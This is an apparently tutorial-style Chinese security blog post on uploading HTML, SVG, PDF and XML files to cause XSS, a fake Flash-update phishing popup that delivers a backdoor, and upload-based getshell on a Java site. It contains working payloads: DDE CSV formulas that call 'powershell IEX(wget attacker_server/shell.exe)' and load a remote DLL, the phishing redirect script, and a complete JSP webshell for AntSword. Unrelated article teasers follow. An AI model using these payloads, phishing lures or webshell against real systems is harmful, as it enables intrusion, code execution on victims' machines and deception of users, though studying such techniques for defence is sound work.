当前位置: 首页 > article >正文

XSS之Flash弹窗钓鱼

0x1 前言哈喽师傅们好这次打算给师弟们分享的是XSS之Flash弹窗钓鱼和文件上传getshell各种姿势的内容然后先是给小白师傅们简单介绍下XSS漏洞和文件上传漏洞。然后后面给师傅们简单演示了XSS之Flash弹窗钓鱼然后后面很详细的介绍了文件上传和XSS漏洞的组合拳的好几种方式后面也是通过对一个站点的测试给师傅们演示了一波。后面给师傅们整理了下pdf木马制作的过程以及最后面分享下我一次在测文件上传最后也是getshell了。0x2 漏洞简介文件上传原理这里利用form表单标签和类型为file的Input标签来完成上传要将表单数据编码格式置为multipart/form-data类型这个编码类型会对文件内容在上传时进行处理以便服务端处理程序解析文件类型与内容完成上传操作。form methodPOST enctypemultipart/form-data input typefile namefile value请选择文件br / input typesubmit /formXSS原理XSS跨站脚本攻击是一种常见的网络安全漏洞攻击者通常会在网页中插入恶意的JavaScript代码。由于服务器对输入数据的过滤和验证不严格这些恶意的JavaScript代码会被当作响应的一部分返回给客户端。当浏览器解析来自服务器的响应时它会执行这些恶意的JavaScript代码从而导致攻击者能够执行恶意操作。0x3 浅谈上传XSS的各种类型姿势允许上传HTML或SVG允许上传html或者svg都可以能导致xss也能导致任意URL跳转甚至还能导致SSRF很难利用因为核心还是js代码可控其中URL重定向漏洞可以参考之前我在先知写的文章https://xz.aliyun.com/t/15069html造成XSS就不多说了懂得都懂主要说说svg文件如何造成xss。检查思路创建一个恶意的svg文件输入如下内容?xml version1.0 encodingUTF-8? svg version1.1 xmlnshttp://www.w3.org/2000/svg width100 height100 script typeapplication/javascript alert(XSS Attack!); /script polygon points0,0 0,50 50,0 fill#009900 stroke#004400/ /svg上传到文件中并访问可以看到已经成功弹窗出来了XSS漏洞**拓展如果目标存在导出功能如给svg导出为pdf这种功能那么可能存在SSRF **可尝试使用其他协议更直观的查看如file://允许上传PDF文件可能存在PDF XSS和任意URL跳转但是由于属于浏览器层面的漏洞所以厂商大概率不认可。可以直接使用工具生成https://www.xunjiepdf.com/editor也可以按照网上的操作用迅捷PDF编辑器去操作效果都一样因为pdf一般是后端的组件有的开发可能配置成wkhtmltopdf /tmp/html123.htm /uploads/pdf.pdf那就可直接利用file协议进行利用如果网站本身存在预览JS的地方可以试试通过CVE-2024-4367来实现PDF XSS 获取Cookie、账户接管等。允许上传CSV文件如果允许上传CSV文件且上传的CSV文件的内容未经过处理过滤直接保存那么可以尝试上传具有恶意命令执行payload的CSV文件当其他用户下载该CSV文件时可能会导致命令执行。CSV文件的Payload如下DDE (cmd;/C calc;!A0)A0 SUM(19)*cmd| /C calc!A0 1020cmd| /C calc!A0 cmd| /C notepad!A1 cmd|/C powershell IEX(wget attacker_server/shell.exe)!A0 cmd|/c rundll32.exe \\10.0.0.1\3\2\1.dll,0!_xlbgnm.A1检查思路上传恶意的CSV文件下载恶意的CSV文件观察下载后的CSV文件是否对等号等特殊符号做了处理payloads会否会成功执行如果能则说明存在问题0x4 XSS之Flash弹窗钓鱼基础环境准备Flash网站克隆源码GitHub - hackxc/xss_flash: Xss之Flash钓鱼生成后门并捆绑flash的安装程序VPS服务器搭建好flash网站下载地址要修改为构造好的后门文件。有XSS漏洞的网站GitHub - r00tSe7en/Flash-Pop: Flash钓鱼弹窗优化版具体钓鱼流程找到可以插入一段JS代码的网站如存在存储xss漏洞。插入触发flash版本过低弹窗的JS代码script src本地用来弹flash版本过低的地址/script目标点击确定后跳转到伪造flash界面的VPS服务器目标靶机点击下载并安装触发后门反弹shell修改version.js中弹窗的指向伪造Flash网站地址window.alert function(name){ var iframe document. createElement(IFRAME); iframe.style.displaynone; iframe.setAttribute(src,data:text/plain,); document. documentElement.appendChild(iframe); window.frames [0].window.alert(name); iframe.parentNode.removeChild(iframe); } alert( 您的FLASH版本过低尝试升级后访问该页面! ); window. location.href此处是伪造Flash网站地址;模拟存在XSS网站的VPS服务器index.html!DOCTYPE html html head meta charsetutf-8 titleFlash Test.../title script src此处存在XSS网站的VPS服务器地址/script /head body h1Flash Test.../h1 /body /html执行Flash钓鱼成功后就会跳转到这个官方页面然后需要你下载这个Flash软件然后下载执行的exe那么利用比如CS监听就可以上线成功了0x5 组合拳实战测试html、svg文件上传打XSS漏洞师傅们可以看到找到下面的这个站点的这个功能存在文件上传我先尝试一手html文件html文件上传相对来讲常见点并且一般要是能够上传html文件成功基本上都可以打一个存储型XSS漏洞了html恶意弹窗代码如下!DOCTYPE html html langen head meta charsetUTF-8 meta nameviewport contentwidthdevice-width, initial-scale1.0 titleDocument/title scriptalert(xss)/script /head body /body /html上传成功可以看到我这里上传的html文件的url路径下面尝试访问下这个路径看看里面的html恶意弹窗代码会不会执行可以看到我这里换个浏览器访问也是成功执行XSS弹窗了的上传svg恶意文件也是一样的svg恶意弹窗代码如下?xml version1.0 standaloneno? !DOCTYPE svg PUBLIC -//W3C//DTD SVG 1.1//EN http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd svg version1.1 baseProfilefull xmlnshttp://www.w3.org/2000/svg polygon idtriangle points0,0 0,50 50,0 fill#009900 stroke#004400/ script typetext/javascript alert(xss); /script /svg也是一样换个浏览器访问照样是可以成功执行弹窗的制作pdf弹窗木马pdf编辑器下载地址如下https://www.xunjiepdf.com/直接打开然后新建空白页面然后点击属性然后点击右边的小点点然后出现下面的选项框点击新增js代码写入app.alert(xss);js代码然后保存到本地然后也是按照上面的一样步骤也是可以打出一个存储型XSS漏洞上传XML文件打XSS漏洞上传xml文件必须CORS允许所有域 CORS 跨域资源请求(允许我们网站加载其他网页代码)xml它需要上传2个文件首先上传第一个xml文件(url地址我们首先拿到)然后再上传第二个xml文件xml1https://xxx.com/File/1/xxxxxx.xml?xml version1.0 encodingiso-8859-1? xsl:stylesheet version1.0 xmlns:xslhttp://xxxx.org/1999/XSL/Transform xsl:template match/ htmlbody scriptalert(/1/);/script /body/html /xsl:template /xsl:stylesheet然后上传xml2代码中的href填写xml1的上传链接路径?xml version1.0 encodingiso-8859-1? ?xml-stylesheet typetext/xsl href? test/testCURL查看curl 域名 -H Origin: https://baidu.com -I文件上传——getshell下面这个站点就是通过测试文件上传打XSS漏洞然后进行的getshell。 经审计发现该小程序网站是Java框架搞的那么我们就可以尝试上传jsp后缀的webshell编写的木马来尝试下getshell了。1、尝试上传jsp代码发现该代码直接被执行了。真的是逆天了师傅们一点过滤都没有直接解析了那么就说明他这个网站可以执行jsp代码那我这不就可以上传jsp木马了嘛。------WebKitFormBoundaryybBAbhwqIL86Jdcn Content-Disposition: form-data; namefile; filenametest.html Content-Type: text/html alert(1) ------WebKitFormBoundaryybBAbhwqIL86Jdcn--2、上传jsp木马使用蚁剑连接getshelljsp木马如下蚁剑连接密码passwd%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { returnsuper.defineClass(b, 0, b.length); } } publicbyte[] base64Decode(String str) throws Exception { try { Class clazz Class.forName(sun.misc.BASE64Decoder); return (byte[]) clazz.getMethod(decodeBuffer, String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz Class.forName(java.util.Base64); Object decoder clazz.getMethod(getDecoder).invoke(null); return (byte[]) decoder.getClass().getMethod(decode, String.class).invoke(decoder, str); } } % % String cls request.getParameter(passwd); if (cls ! null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %成功上传jsp木马然后使用蚁剑成功连接然后getshell了。0x6 总结这篇文章对于仪式内容的介绍和分享就到这里了然后后面要是有什么问题和需要交流的地方师傅们可以跟我讨论下里面的一些案例包括各种的打都写的蛮详细的对小白师傅比较友好哈 最后希望这篇文章对师傅们有帮助哈

相关文章:

XSS之Flash弹窗钓鱼

0x1 前言 哈喽,师傅们好! 这次打算给师弟们分享的是XSS之Flash弹窗钓鱼和文件上传getshell各种姿势的内容,然后先是给小白师傅们简单介绍下XSS漏洞和文件上传漏洞。然后后面给师傅们简单演示了XSS之Flash弹窗钓鱼,然后后面很详细…...

Godot资源解包利器:零基础掌握游戏资产提取技术

Godot资源解包利器:零基础掌握游戏资产提取技术 【免费下载链接】godot-unpacker godot .pck unpacker 项目地址: https://gitcode.com/gh_mirrors/go/godot-unpacker godot-unpacker是一款专为Godot引擎设计的资源解包(Resource Extraction&…...

用 C# 写一个完整的 ReAct 智能体:从命令行输入到任务完成的全链路拆解

一、中间件是啥?咱用“餐厅”打个比方 想象一下,你的FastAPI应用是个高级餐厅。 ?? 顾客(客户端请求)来到门口。- 迎宾(CORS中间件):先看你是不是从允许的街区(域名)来…...

3步解锁音乐宝库:qmcdump助你轻松转换QQ音乐加密文件

3步解锁音乐宝库:qmcdump助你轻松转换QQ音乐加密文件 【免费下载链接】qmcdump 一个简单的QQ音乐解码(qmcflac/qmc0/qmc3 转 flac/mp3),仅为个人学习参考用。 项目地址: https://gitcode.com/gh_mirrors/qm/qmcdump 你是否…...

DNF 下载 RPM 依赖包及忽略特定依赖的方法

本文档详细说明如何使用 dnf命令下载 RPM 软件包及其依赖,以及在本地已存在自制 RPM 包的情况下,如何忽略特定依赖进行下载和安装。第一部分:DNF 命令下载 RPM 及其依赖包 适用于 RHEL / CentOS 8 / Rocky / Alma / Fedora 等系统。 1. 环境准…...

4月3日打卡

20:20开始,学习90分钟...

LLM - 2026 AI 文本转可视化工具终极指南:PicDoc.ai vs Napkin.ai 及 EdrawMax、Whimsical 等 8 大神器深度对比

文章目录概述一、PicDoc.ai vs Napkin.ai:专业全能 vs 轻快协作二、其他 6 大同类工具推荐三、8 大工具终极对比一览表(关键指标)四、 建议概述 在 2026 年的 AI 生产力浪潮中,把枯燥文字一键变成专业流程图、思维导图、信息图、…...

网站 SEO 优化推广需要分阶段投入资金吗

网站 SEO 优化推广需要分阶段投入资金吗 在当今数字化时代,网站 SEO 优化推广已经成为企业获取在线流量和提升品牌知名度的关键手段。无论是小型创业公司还是大型企业,对于网站 SEO 优化推广的投入都是必不可少的。这种投入资金是否需要分阶段进行呢&am…...

LangChain DeepAgents 速通指南(六)—— DeepAgents SubAgent 子智能体机制

前言 上篇文章《LangChain DeepAgents 速通指南(五)—— 快速了解DeepAgents框架及其核心特性》介绍了 DeepAgents 在任务规划、上下文管理、子智能体并行执行等方面的强大能力,仅需少量代码即可构建出复杂的智能体。上篇的案例演示也展示了…...

UE5 开发神器:蓝图节点预设插件 — 支持多节点打组 / 快捷键 / 拖拽插入 / 材质编辑器

插件名称:UPNodePresets 插件包含以下功能 Action Palette 搜索:右键空白处搜索预设名称,回车即插入快捷键插入:按住数字键 0~9 鼠标左键点击任意位置,瞬间插入(Blueprint / Material 独立绑定&#xff…...

数据分析师课程

数据分析是什么定义:运用统计分析方法对收集的数据进行汇总、理解和消化,最大化开发数据功能数据形式:观测值通过实验/测量获得,常以图表或表格呈现分类体系:描述性分析(初级):占日常…...

2025届必备的五大降AI率神器实测分析

Ai论文网站排名(开题报告、文献综述、降aigc率、降重综合对比) TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 人工智能生成文本普及起来后,各种各样的AI检测系统被创造出来,为了应…...

DL基础营 | 第P1周:Pytorch实现mnist手写数字识别

🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊编译器:jupyterlab 一、 前期准备 1. 设置GPU 2. 导入数据 3. 数据可视化 二、构建简单的CNN网络 加载并打印模型 三、 训练模型 1. 设置超参数 …...

2025届必备的五大降重复率平台实测分析

Ai论文网站排名(开题报告、文献综述、降aigc率、降重综合对比) TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 于学术写作和论文创作的范畴之内,维普检测是颇为常见的查重办法。当遭遇人工智能…...

7分钟掌握WorkshopDL:打破平台壁垒的Steam创意工坊模组下载终极方案

7分钟掌握WorkshopDL:打破平台壁垒的Steam创意工坊模组下载终极方案 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 你是否在Epic Games Store或GOG平台购买了游戏&…...

Java二分查找(笔记、(25))

在 Java 中,二分查找(Binary Search) 是一种在有序数组中快速查找目标值的算法。它的核心思想是每次将查找范围缩小一半,时间复杂度为 O(log n),相比顺序查找的 O(n) 效率高很多。下面我会从原理、迭代实现、递归实现、…...

线性基——2026杭电春季联赛第三场1005月球异或

前言 本人蒟蒻,如有错误还请指出。 前不久刚学了线性基,结果就用上了。线性基yyds! 没学过线性基的出门左拐 放一个之前写的线性基笔记 原题链接 题目大意 新定义三进制下的异或运算 。 再给你一个长度为 的数组,你可以…...

spring-ai 第一步集成入门

spring-ai 第一步入门 官网spring ai 做什么?涉及相关概念检索增加RAG工具调用 spring-ai 第一步入门 官网 spring-ai网址【https://spring.io/projects/spring-ai】 Spring AI 目前支持将输入和输出处理为语言、图像和音频的模型 spring ai 做什么?…...

零基础学A人工智能: 4.大模型基础与本地部署全指南

今天我们正式开启AI大模型的学习,从最基础的大模型概念讲起,到本地部署大模型的完整流程,再到Ollama工具的全功能详解,最后延伸到完整的AI聊天机器人项目架构,帮大家从零搭建起大模型应用的完整知识体系,零…...

Pytest参数化测试中文乱码?这2个隐藏技巧让你的测试报告清晰可读

Pytest参数化测试中文乱码?这2个隐藏技巧让你的测试报告清晰可读 在Python自动化测试领域,Pytest凭借其简洁的语法和强大的功能已成为开发者的首选工具。特别是它的参数化测试功能,能够高效验证多组输入数据下的代码行为。但当我们尝试用中文…...

从零到精通的Android Kotlin实战学习旅程:50个项目带你掌握移动开发核心技能

从零到精通的Android Kotlin实战学习旅程:50个项目带你掌握移动开发核心技能 【免费下载链接】50-android-kotlin-projects-in-100-days My everyday Android practice demos with Kotlin in 100 days. 项目地址: https://gitcode.com/gh_mirrors/50/50-android-k…...

3步打造waifu2x-caffe轻量化部署方案:图像增强绿色版打包全流程

3步打造waifu2x-caffe轻量化部署方案:图像增强绿色版打包全流程 【免费下载链接】waifu2x-caffe waifu2xのCaffe版 项目地址: https://gitcode.com/gh_mirrors/wa/waifu2x-caffe waifu2x-caffe是一款基于深度学习的图像增强工具,能够通过AI算法实…...

用于计算系统状态的卡尔曼最优增益和最小均方误差(MMSE)估计研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室🍊个人信条:格物致知,完整Matlab代码及仿真咨询…...

macOS 26.4推送,新增充电上限,利好电池寿命

macOS 26.4 新增自定义充电上限,有效延长 Mac 电池寿命。搭配CleanMyMac电池监控功能,实时掌握健康度、循环次数与温度,软硬结合保护电池。苹果于2026年3月24日正式推送了macOS Tahoe 26.4版本更新。本次更新最受关注的变化,是为M…...

手把手教你拆解Coze‘城市觉醒’工作流:从提示词工程到插件调用的保姆级避坑指南

深度拆解Coze“城市觉醒”工作流:从提示词优化到插件调用的高阶实践 清晨五点的城市天际线逐渐亮起,高楼的轮廓在晨雾中若隐若现——这种充满电影感的画面,过去需要专业团队耗费数周时间拍摄剪辑。如今,借助Coze平台的工作流能力&…...

Buildroot与Qt5的X11VNC集成:解决EGLFS与XCB插件冲突的实践指南

1. 为什么需要X11VNC与Qt5集成? 在嵌入式开发中,远程调试图形界面是个常见需求。想象一下,你的设备可能放在工厂车间或者户外,每次修改代码后都要跑到设备前查看效果,这效率实在太低。X11VNC就像给你的设备装了个"…...

Cursor AI 开发环境配置:告别依赖冲突,用 Conda 虚拟环境管理你的数据科学项目

Cursor AI 开发环境配置:告别依赖冲突,用 Conda 虚拟环境管理你的数据科学项目 在数据科学和机器学习项目的开发过程中,依赖管理一直是个令人头疼的问题。想象一下这样的场景:你正在开发一个基于TensorFlow 2.4的项目,…...

零中频接收机设计避坑指南:从IQ信号处理到链路预算,这些细节ADS仿真时千万别忽略

零中频接收机设计避坑指南:从IQ信号处理到链路预算的实战精要 零中频架构在集成化浪潮中展现出独特优势——省去笨重的中频滤波器,直接实现射频到基带的转换。但当你真正用ADS搭建仿真模型时,90度移相器的相位误差可能悄悄吞噬系统EVM指标&am…...

别再只测电压了!解锁杰理AC632蓝牙芯片ADC的隐藏玩法:电池检测与低功耗设计

杰理AC632蓝牙芯片ADC实战:电池检测与低功耗设计全解析 在蓝牙耳机、智能穿戴等电池供电设备的开发中,精准的电池电量监测和低功耗设计往往是决定产品成败的关键因素。杰理AC632作为一款广泛应用于消费电子领域的蓝牙芯片,其内置的ADC功能为开…...

如何解决微信QQ语音无法播放?Silk音频转换工具让跨设备播放不再难

如何解决微信QQ语音无法播放?Silk音频转换工具让跨设备播放不再难 【免费下载链接】silk-v3-decoder [Skype Silk Codec SDK]Decode silk v3 audio files (like wechat amr, aud files, qq slk files) and convert to other format (like mp3). Batch conversion su…...